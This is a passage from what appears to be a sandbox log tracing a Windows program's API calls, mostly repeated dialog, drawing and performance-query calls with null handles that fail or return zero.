lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.830] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.830] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.830] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.830] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.830] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.830] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192666543, cy=27, fuLoad=0x0) returned 0x0 [0026.830] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.831] GetLastError () returned 0x715 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.831] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.831] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.831] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.831] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.831] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.831] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.831] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.832] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192647598, cy=27, fuLoad=0x0) returned 0x0 [0026.832] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.832] GetLastError () returned 0x715 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.832] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.832] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.832] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.832] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.832] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.832] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.832] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.833] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192628653, cy=27, fuLoad=0x0) returned 0x0 [0026.833] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.833] GetLastError () returned 0x715 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.833] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.833] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.833] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.833] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.833] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.834] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.834] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.834] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192609708, cy=27, fuLoad=0x0) returned 0x0 [0026.834] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.834] GetLastError () returned 0x715 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.834] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.834] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.834] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.834] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.834] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.835] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.835] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.835] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192590763, cy=27, fuLoad=0x0) returned 0x0 [0026.835] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.835] GetLastError () returned 0x715 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.835] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.835] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.835] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.835] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.836] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.836] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.836] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.836] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192571818, cy=27, fuLoad=0x0) returned 0x0 [0026.836] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.836] GetLastError () returned 0x715 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.836] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.836] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.836] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.837] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.837] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.837] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.837] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.837] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192552873, cy=27, fuLoad=0x0) returned 0x0 [0026.837] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.837] GetLastError () returned 0x715 [0026.837] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.837] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.837] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.837] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.837] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.837] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.837] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192533928, cy=27, fuLoad=0x0) returned 0x0 [0026.837] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.837] GetLastError () returned 0x715 [0026.837] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.837] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.837] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.838] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.838] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.838] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.838] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192514983, cy=27, fuLoad=0x0) returned 0x0 [0026.838] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.838] GetLastError () returned 0x715 [0026.838] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.838] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.838] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.838] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.838] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.838] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.838] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192496038, cy=27, fuLoad=0x0) returned 0x0 [0026.838] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.838] GetLastError () returned 0x715 [0026.838] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.838] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.838] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.838] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.839] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.839] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.839] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192477093, cy=27, fuLoad=0x0) returned 0x0 [0026.839] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.839] GetLastError () returned 0x715 [0026.839] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.839] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.839] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.839] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.839] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.839] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.839] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192458148, cy=27, fuLoad=0x0) returned 0x0 [0026.839] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.839] GetLastError () returned 0x715 [0026.839] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.839] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.839] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.839] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.839] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.840] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.840] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192439203, cy=27, fuLoad=0x0) returned 0x0 [0026.840] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.840] GetLastError () returned 0x715 [0026.840] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.840] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.840] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.840] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.840] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.840] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.840] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192420258, cy=27, fuLoad=0x0) returned 0x0 [0026.840] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.840] GetLastError () returned 0x715 [0026.840] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.840] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.840] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.840] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.840] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.840] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.840] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192401313, cy=27, fuLoad=0x0) returned 0x0 [0026.841] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.841] GetLastError () returned 0x715 [0026.841] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.841] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.841] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.841] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.841] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.841] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.841] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192382368, cy=27, fuLoad=0x0) returned 0x0 [0026.841] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.841] GetLastError () returned 0x715 [0026.841] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.841] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.841] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.841] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.841] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.841] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.841] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192363423, cy=27, fuLoad=0x0) returned 0x0 [0026.841] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.842] GetLastError () returned 0x715 [0026.842] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.842] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.842] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.842] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.842] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.842] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.842] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192344478, cy=27, fuLoad=0x0) returned 0x0 [0026.842] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.842] GetLastError () returned 0x715 [0026.842] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.842] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.842] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, 